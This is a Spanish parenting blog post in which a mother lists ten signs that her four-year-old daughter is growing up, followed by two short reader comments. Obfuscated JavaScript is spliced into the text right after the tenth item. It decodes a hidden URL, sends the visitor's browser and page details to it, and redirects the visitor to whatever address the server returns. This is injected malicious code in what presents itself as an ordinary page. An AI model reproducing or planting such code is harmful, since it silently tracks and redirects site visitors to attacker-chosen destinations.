¿Qué años tiene ya la mayor? ¡Madre mía, cuánto ha crecido! o ¡Cómo ha cambiado desde que la vi la última vez! Son frases que escuchas una y otra vez, pero que nunca te paras a analizar, porque si lo hicieras te darías cuenta de que tu pequeña, que siempre será tu pequeña, ya es una mayor.
Siempre he pensado que cuando nació mi hija pequeña obligamos a Elena a crecer sin que ella nos lo pidiese. Un miembro nuevo llegaba a casa y todos tuvimos que reubicarnos para encontrar nuestro nuevo rol familiar. De repente la veía al lado de su hermana y notaba que era muy alta, su forma de comunicarse conmigo muy fluida y fresca y sus peticiones muy coherentes. Entonces empecé a hacer una lista (yo tan aficionada a ellas) para ver qué cosas más habían cambiado cuando… Y fue así como llegué a dar con las 10 cosas por las que me di cuenta de que Elena ha crecido:
1. Cuando la monto en el columpio de cesta o en el carrito del supermercado y casi llega al suelo.
2. Cuando le leo un cuento y me dice que “eso es para pequeños”. ¿Cómo? Ni que quisiera que le leyera Anna Karenina.
3. Cuando ya no puedo engañarla con cinco minutos porque empieza a tener conocimiento de lo que son cinco minutos. ¡Se nos acabó el chollo!
4. Cuando me dice: “Mamá, ¿por qué siempre me pones pantalón? Una siempre pensando en la comodidad y ella ya en estar guapa. ¿No es demasiado pronto? ¡Solo tiene cuatro años (y medio)!
5. Cuando empieza a meter en la hucha el dinero que le dan sus abuelitos para comprarse sus cosas. Y sus cosas son la muñeca de Blancanieves de Pin y Pon, por ejemplo, o el último peluche de la Patrulla Canina.
6. Cuando me pide ir a dormirse a casa de sus tíos, primos, amigos… ¡A mí nunca me dejaron! Bueno, sí, con 10 años.
7. Cuando se acerca el fin de semana y pregunta toda seria: “¿Qué hacemos el sábado?”. Ya no es tan fácil llevarla de un sitio a otro a nuestro gusto y comodidad, ahora hay que empezar a contar con sus gustos y a hablar con las mamis de sus amigas, que ahora son las mías.
8. Cuando quiere pasar más tiempo con su papá y tú piensas: “Horror, se acabó la mamitis. ¡Qué voy a hacer ahora!”.
9. Cuando está tirada en el sofá mientras tú escribes este post y te dice: “Mamá, ponme el termómetro. Creo que tengo fiebre”. Uff, con la odisea que era cuando tenía dos años.
10. O cuando te suelta: “Mamá, no quiero ser mayor”, y tú, casi con la lágrima deslizándose por tu mejilla, contestas: “Siempre serás mi pequeña”. var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}
Qué post tan bonito… Con lo nostálgica que soy, me has sacado la lágrima a mi también
Este post ha sido muy bonito Lidia.